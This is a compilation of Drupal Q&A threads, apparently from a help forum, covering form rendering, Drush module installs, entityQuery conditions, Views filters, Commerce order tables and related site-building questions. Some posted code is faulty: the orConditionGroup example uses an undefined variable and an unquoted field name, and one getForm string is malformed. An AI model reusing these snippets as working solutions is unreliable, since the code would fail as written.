 us   Directors Supply Facilities   Opps     Invest  Outreach  Publications

Anonymous users see the following.

About Water  Construction Business Finance Community News &
 us   Supply Facilities   Opps     Invest  Outreach  Publications

This is something that was not happening when I did my first migration.

I am using Superfish.

What happened? How can I fix this?

Check the permission of whatever "Board of Directors" links to (a node, a view, something else?). To ensure anonymous have permission to access it (also).


Form elements removed during custom page render In a table, I keep a collection of nodes, text and forms that should be rendered on particular generated pages. I run through a loop that builds an output variable based on the the tables type and values. Worked fine in D7 and the text and node pieces are working fine in D8, after some adjustments.  The piece I'm having trouble with is adding a form to the output variable.

In D7:

$output = "a variety of html";
$formname = "triagezipform"; //would be filled in by field value
$form = drupal_get_form($formname);
$output .= render($form);

In D8:

$output = "a variety of html";
$formname = "triagezipform"; //would be filled in by field value
$form = \Drupal::formBuilder()->getForm('Drupal\triage\Form\'.$formname);
$output .= render($form);

I see the form properly at the end of the function that builds the output, but as it goes through Drupal page rendering the Form elements are removed.

Pre-page rendering:

  <form class="triagezipform" data-drupal-selector="triagezipform"               action="form_action_p_pvdeGsVG5zNF_XLGPTvYSKCf43t8qZYSwcfZl2uzM" method="post" id="triagezipform"
                  accept-charset="UTF-8">

  Enter zipcode where your legal issue is
  <input data-drupal-selector="edit-triage-zip" class="form-text form-control" type="text"id="edit-triage-zip" name="triage_zip" value="04643" size="20" maxlength="5"/>

</form>

Post-page rendering:

          Enter zipcode where your legal issue is

Any ideas of how I get forms to show properly when being built this way?

How are you then using $output? Are you putting it into ['#markup'] in your build array?

If so markup content will strip all sorts out. So either you can put $form as a separate item in your build array and there's no need to run it through render()

Or you can use drupal's "inline_template" rather than #markup in the build array


Unable to manually install the http_proxy module We are behind a corporate firewall, so the first thing I do with new Drupal 7 is to manually download, unzip, & use Drush to enable the http_proxy module ($ drush en http_proxy.) Once that is configured, I can then run cron, do drush dl xxxx modules etc. without firewall issues.

For my first Drupal 8 venture, I updated to Drush 8.1.10; downloaded the Drupal 8 gzip file from the http_proxy project, then copied & unzipped the file to /modules/contrib/http_proxy/ > on my server.

When I try to enable the http_proxy contrib module, I get the following loop -- never get the module enabled.

Is there some special trick with Drupal 8 for manual module installation?

$ pwd
/apps/drupal-sites/TEMS/modules/contrib

$ cls
[drupal@drupaldev1 contrib]$ drush --version
Drush Version   :  8.1.10

$ pwd
/apps/drupal-sites/TEMS/modules/contrib
$ ll -R
.:
total 4
drwxrwxr-x 2 drupal 4096 Nov 17  2012 http_proxy/

./http_proxy:
total 36
-rw-rw-r-- 1 drupal  2446 Nov 17  2012 http_proxy.admin.inc
-rw-rw-r-- 1 drupal   308 Nov 17  2012 http_proxy.info
-rw-rw-r-- 1 drupal  2015 Nov 17  2012 http_proxy.module
-rw-rw-r-- 1 drupal 18092 Sep 17  2011 LICENSE.txt
-rw-rw-r-- 1 drupal   735 Nov 17  2012 README.txt

$
$ drush en http_proxy
http_proxy was not found.                                                                                [warning]
The following projects provide some or all of the extensions not found:                                                  [ok]
http_proxy
Would you like to download them? (y/n): y
Install location /apps/drupal-sites/TEMS//modules/contrib/http_proxy     already exists. Do you want to overwrite it? (y/n): n
Skip installation of http_proxy to /apps/drupal-    sites/TEMS//modules/contrib/http_proxy.                         [warning]
http_proxy was not found.                                                                                [warning]
The following projects provide some or all of the extensions not found:                                                  [ok]
http_proxy
Would you like to download them? (y/n): y
Install location /apps/drupal-sites/TEMS//modules/contrib/http_proxy     already exists. Do you want to overwrite it? (y/n): y
Project http_proxy (8.x-1.0) downloaded to /apps/drupal-    sites/TEMS//modules/contrib/http_proxy.                 [success]
Project http_proxy contains 0 modules: .
http_proxy was not found.                                                                                [warning]
The following projects provide some or all of the extensions not found:                                                  [ok]
http_proxy
Would you like to download them? (y/n): y
Install location /apps/drupal-sites/TEMS//modules/contrib/http_proxy     already exists. Do you want to overwrite it? (y/n): y
Project http_proxy (8.x-1.0) downloaded to /apps/drupal-    sites/TEMS//modules/contrib/http_proxy.                 [success]
Project http_proxy contains 0 modules: .
http_proxy was not found.                                                                                [warning]
The following projects provide some or all of the extensions not found:                                                  [ok]
http_proxy
Would you like to download them? (y/n): n

Looking at the files for the 8.x-1-x branch, I noticed that those files are essentially the files for Drupal 7, not Drupal 8. Even the https://ftp.drupal.org/files/projects/http_proxy-8.x-1.0.tar.gz archive contains file for Drupal 7.

One of the differences between the versions for Drupal 7 and Drupal 8 is that for Drupal 8 the http_proxy.info file should be replaced from a http_proxy.info.yml file.
Since Drush uses the content of that file to understand if the directory contains a module, and to retrieve the information about that module, without any .info.yml file with the information about the http_proxy module Drush is not able to find it in the already downloaded modules. That is why it keeps saying it doesn't find it.

So, to answer your question: No, you don't need any particular trick to download and install modules on Drupal 8. It just happens the module has not been really ported to Drupal 8, and Drush gets confused.


Is there a way to provide a Select All / Check All checkbox for a field that displays multiple checkboxes in Drupal 7? Seems like there is no core config to setup a "Check All" checkbox unless I missed where it is. I'm creating a content type and have a taxonomy reference field and I have alot of terms, which means alot of boxes I have to check. Anyway to provide a checkbox to select everything?

You can do a form alter. hook_form_alter and attach your js to the form.

$form['#attached']['js'] = array(
  drupal_get_path('module', 'YOURMODULE') . '/YOURMODULE.js',
);

Then add the code as in here


entityQuery array instead of orConditionGroup() I'd written a query based on the "simplified" version here. And my code looked like this.

$results = \Drupal::entityQuery('node')
  ->condition('type', 'mytype')
  ->condition('status', 1)
  ->condition('field_first.target_id', $anArrayOfNids)
  ->condition('field_seciond.target_id', array($anotherNid))
  ->execute();

The code was working, I know it was. But now I'm getting an "SQLSTATE[HY093]: Invalid parameter number: number of bound variables does not match number of tokens" SQL error.

I tried replacing it with just array(540) and got the proper result. Then I gave it array(546) and got the different, expected response, but as soon as I put [540,560] or array(540,560), I get that error, instead of what i used to get, which was the combined results.

I don't know how it was working before, but the solution seems to be to place the explicit 'IN' in the query as such:

$results = \Drupal::entityQuery('node')
  ->condition('type', 'mytype')
  ->condition('status', 1)
  ->condition('field_first.target_id', $anArrayOfNids, 'IN')
  ->condition('field_seciond.target_id', array($anotherNid))
  ->execute();

Or, if I was to just convert this to the more complicated, yet more robust method:

$results = \Drupal::entityQuery('node');
$group = $query->orConditionGroup();
foreach($anArrayOfNids as $nid) {
  $group->condition(field_first.target_id, array($nid));
}
$query->condition('type', 'mytype')
  ->condition('status', 1)
  ->condition('field_seciond.target_id', array($anotherNid))
  ->condition($group)
  ->execute();


What does it take for field in an entity to be able to be used in cotexetual filter, or relationship? I am using a view for an entity.  I had it working until I changed the cardinality of a taxonomy field.  Now that field is no longer available for relationships, or contextual filters.  Every other field defined is available as a contextual filter.

So this makes me wonder what determines whether a field can be used in a contextual filter?

Since you changed the cardinality to more than 1.

Add a contextual filter of Has Taxonomy Term ID, then scroll all the way down, click on the blue MORE button and checkmark allow multiple values.

Yeah, it's hidden, lol.


How to reset the id of the orders generated by Commerce module I just finish a website which include a cart. I'm using the commerce module.

In the development stage I've been making some test. Now I just deleted all these testing order, but now the id of the next order is something like 189. I need to put this number to 1.

Which database table do I need to truncate to get it done?

The commerce order module defines two tables, commerce_order and commerce_order_revision; you should truncate both of those to clear the data and reset the AUTO_INCREMENT counter.

In MySQL:

TRUNCATE TABLE commerce_order
TRUNCATE TABLE commerce_order_revision

Or using the API:

db_truncate('commerce_order');
db_truncate('commerce_order_revision');


How to add a placeholder field to Entity Forms I am trying to add a placeholder field, but I seem to only be able to add a text field above the form input,

Is it possible to add through the manage fields section in entity form ?

You should use  Field placeholder
module.

  Field Placeholder module gives support to add HTML5 placeholder
  attribute to field widget forms.

  By default, this module integrates text, number and mail modules, but
  any other widget type can be added through
  hook_field_placeholder_info().

  Field placeholder adds a new option in field settings page to enter
  the placeholder value, which is included automatically when the widget
  is rendered.


Multiple Views on a page - How to exclude already shown nodes? I'm showing many nodes on a page using a few different Views blocks with Panels.

For example there is a "Top Story" block that shows the latest sticky article. Then there are blocks for certain Sections (taxonomy) and important Special Sections (another taxonomy).

A node can appear in both blocks if it has a Section (say, Culture), a Special Section (News) and it may also be Sticky (so it's up in the Top story block too).

The problem here is that I can't just utilize offsets to hide things, but would need something that excludes nodes from later views that have already been shown. Older sticky nodes naturally should push down to their respected blocks when newer Nodes come etc.

Another way to put it:

Let's say we have Views, A, B, C and D. If a node is already in A, it wouldn't show up in B, C and D. If it's shown in B, it would not show up in C & D. It should be hierarchical from "promotion" style blocks to more simple listings when going lower on the page.

Is there any ready solution that would help me achieve this? I'm familiar with module coding, hooks etc so that sort of solutions are open to me as well.

You could load and display each view in your template.
For each view you will have to get a list of nid values that you then will pass on as argument to the next view in line.

For this to work you should setup a Contextual Filter of type Content: nid and configure it to allow multiple values and exclude supplied nids.

In your template your could then do something like this:

// load and display view A
$viewA = views_get_view('VIEW_A');
$viewA->execute();
// get all nids from the result
foreach ($viewA->result as $result):
   $nids[] = $result->nid;
endforeach;
// render first view
print $viewA->render();

// now load view B
$viewB = views_get_view('VIEW_B');
// set arguments for view
$viewB->set_arguments(array(implode(",", $nids)));
// execute view
$viewB->execute();
// render
print $viewB->render();

If you would like to use just one view with multiple displays, you could use set_display() to select the display that should be used:

$view = views_get_view('VIEW');
$view->set_display('VIEW_DISPLAY_ID');
$view->execute();